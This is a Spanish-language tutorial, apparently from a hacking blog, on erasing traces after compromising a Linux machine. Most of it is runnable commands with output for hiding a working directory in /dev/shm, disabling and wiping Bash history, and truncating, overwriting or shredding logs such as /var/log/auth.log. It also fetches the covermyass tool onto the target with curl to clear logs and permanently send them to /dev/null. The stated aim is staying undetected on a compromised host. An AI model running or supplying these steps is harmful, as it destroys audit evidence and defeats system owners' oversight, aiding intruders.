Para mostrarte los fundamentos de borrar huellas, primero comprometeremos el objetivo y luego examinaremos algunos métodos utilizados para eliminar el historial de Bash, limpiar registros y mantener la privacidad después de usar sistemas Linux. En este artículo, te mostraremos cómo borrar huellas en sistemas Linux.
Comprometiendo el Objetivo
Lo primero que debemos hacer es utilizar el objetivo. Podemos usar comandos de infiltración para abusar de cómo el servidor maneja los comandos del sistema operativo para obtener una shell. También queremos actualizar nuestra nueva shell a una completamente interactiva. Esto facilitará el trabajo en general y nos permitirá utilizar el autocompletado y el historial del terminal.
Después de esto, podemos elevar nuestros privilegios a root para aprovechar mejor las capacidades del sistema y permanecer sin ser detectados. Esta acción lo dejaremos a tu gusto. Por ejemplo, aquí hay uno JSRAT: Mando y control con JavaScript.
Creación de un Directorio Oculto Fácilmente Eliminable
Con acceso de root, podemos crear un directorio oculto para trabajar y almacenar cualquier script o archivo. Esto no engañará a nadie excepto al administrador novato, pero otro nivel de confidencialidad ciertamente no perjudicará. Primero, busquemos cualquier directorio escribible con el siguiente comando:
┌──(esgeeks㉿kali)-[~]
└─$ find / -perm -222 -type d 2>/dev/null
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix
/tmp/.font-unix
/tmp/.XIM-unix
/dev/mqueue
/dev/shm
/var/tmp
/var/lib/php/sessions
/run/screen
/run/lock
Podemos crear un directorio oculto con el comando mkdir
y colocando un punto antes del nombre:
# mkdir /dev/shm/.secreto
Si ahora listamos el contenido de /dev/shm, no veremos nada:
┌──(esgeeks㉿kali)-[~]
└─$ ls -l /dev/shm/
total 0
Solo cuando usamos el interruptor -a
para mostrar todos los archivos y directorios, aparecerá:
┌──(esgeeks㉿kali)-[~]
└─$ ls -la /dev/shm/
total 0
drwxrwxrwt 3 root root 60 dic 1 12:00 .
drwxr-xr-x 17 root root 3420 dic 1 11:50 ..
drwxr-xr-x 2 esgeeks esgeeks 40 dic 1 12:00 .secreto
Y para eliminar el directorio después de terminar de trabajar en la máquina, utiliza el comando rmdir
:
# rmdir /dev/shm/.secreto
Borrando el Historial de Bash
Bash almacena la lista de comandos utilizados en la sesión actual en la memoria, por lo que es importante limpiarlo para borrar huellas. Podemos revisar el historial actual con el comando history
:
esgeeks㉿kali:/# history
Los comandos se escriben en la variable de entorno HISTFILE
, que suele ser .bash_history
. Podemos repetir esto para ver la ubicación:
┌──(esgeeks㉿kali)-[~]
└─$ echo $HISTFILE
/home/esgeeks/.zsh_history
Podemos utilizar el comando unset
para eliminar una variable:
# unset HISTFILE
Entonces, cuando repetimos esto de nuevo, no aparece nada:
# echo $HISTFILE
También podemos asegurarnos de que el historial de comandos no se guarde enviándolo a /dev/null
. Establece la variable para ello:
# HISTFILE=/dev/null
O haz lo mismo con el comando export
:
# export HISTFILE=/dev/null
Y ahora el historial se enviará a /dev/null
(a ninguna parte):
┌──(esgeeks㉿kali)-[~]
└─$ echo $HISTFILE
/dev/null
Podemos establecer la cantidad de comandos que se almacenarán durante la sesión actual en 0, utilizando la variable HISTSIZE
:
# HISTSIZE=0
Como alternativa, utiliza el comando export
:
# export HISTSIZE=0
También podemos cambiar la cantidad permitida de líneas en el archivo de historial utilizando la variable HISTFILESIZE
. Establece este valor en 0
:
# HISTFILESIZE=0
O con export
:
# export HISTFILESIZE=0
El comando set
también se puede utilizar para cambiar los parámetros de la shell. Para desactivar la opción de historial, utiliza el siguiente comando:
# set +o history
Y para volver a activarlo:
# set -o history
De la misma manera, el comando shopt
se puede usar para cambiar los parámetros de la shell. Para desactivar el historial, utiliza el siguiente comando:
# shopt -ou history
Y para volver a activarlo:
# shopt -os history
Cuando ejecutamos comandos en el sistema objetivo, a veces podemos evitar que se guarden en el historial comenzando el comando con un espacio inicial:
# cat /etc/passwd
Este método no funciona siempre y depende del sistema. También podemos simplemente borrar el historial con la opción -c
:
# history -c
Para asegurarnos de que los cambios se guarden en el disco, utiliza la opción -w
:
# history -w
Esto borra el historial solo para la sesión actual. Para asegurarnos de que el historial se borre por completo al salir de la sesión, utilizamos el siguiente comando:
# cat /dev/null > ~/.bash_history && history -c && exit
También podemos utilizar el comando kill
para salir de la sesión sin guardar el historial:
# kill -9 $$
Limpieza de Archivos de Registro
Además del historial de Bash, también es necesario borrar archivos de registro para permanecer desapercibido. Aquí hay algunos archivos de registro comunes y su contenido:
/var/log/auth.log Authentication
/var/log/cron.log Cron Jobs
/var/log/maillog Mail
/var/log/httpd Apache
Por supuesto, podríamos simplemente eliminar el registro con el comando rm
:
# rm /var/log/auth.log
Pero esto probablemente levantaría sospechas, así que es mejor limpiar el archivo en lugar de borrarlo por completo. Podemos usar el comando truncate
para reducir el tamaño a 0:
# truncate -s 0 /var/log/auth.log
Ten en cuenta que la función de truncar no siempre está presente en todos los sistemas.
Podemos hacer lo mismo sin imprimir nada en el archivo:
# echo '' > /var/log/auth.log
También podemos usar >
para limpiar el archivo:
# > /var/log/auth.log
También podemos enviarlo a /dev/null
:
# cat /dev/null > /var/log/auth.log
O utilizar el comando tee
:
# true | tee /var/log/auth.log
También podemos usar el comando dd
para no escribir nada en el archivo de registro:
┌──(esgeeks㉿kali)-[~]
└─$ sudo dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes copied, 0.000371833 s, 0.0 kB/s
El comando shred
se puede utilizar para sobrescribir el archivo con datos binarios sin sentido:
# shred /var/log/auth.log
Incluso podemos agregar -zu
para truncar el archivo y sobrescribirlo con ceros para ocultar las huellas de la destrucción:
# shred -zu /var/log/auth.log
Herramientas para Verificar la Limpieza de Evidencias
Para aumentar la probabilidad de que cualquier actividad en el objetivo pase desapercibida, podemos usar una herramienta que garantice que todo se borre. Covermyass es un script que automatiza la mayor parte de los procesos que ya hemos revisado, incluida la limpieza de archivos de registro y la desactivación del historial de Bash.
https://github.com/sundowndev/covermyass
Podemos obtener el script desde GitHub usando Curl (siempre que tengamos acceso a Internet en el objetivo; de lo contrario, tendremos que transferirlo manualmente):
curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_linux_amd64 -o ./covermyass
Ve a un directorio con permisos de escritura y usa chmod para hacerlo ejecutable:
chmod +x ./covermyass
A continuación, podemos ejecutarlo:
# ./covermyass
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
>
Se nos da un prompt personalizado con varias opciones para elegir. Elijamos la primera para borrar los registros:
> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
También podemos desactivar Bash y el historial de inicio de sesión con la opción 2:
> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.
Y si necesitas borrar todo urgentemente, simplemente añade now
al comando:
# ./covermyass now
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
Conclusión
Hoy exploramos diversos métodos para ocultar nuestras acciones y permanecer sin ser detectados en una máquina comprometida. Revisamos maneras de desactivar y borrar el historial de Bash, métodos para limpiar los archivos de registro, y utilizamos la herramienta Covermyass para asegurarnos de que nuestra actividad en el objetivo fuera borrada.
Aunque existen otras formas de eliminar ciertos rastros de un ataque, como el uso de Metasploit, scripts de shell, o realizar estas acciones en una máquina Windows comprometida, lo mencionado anteriormente debería ser suficiente para una máquina Linux básica.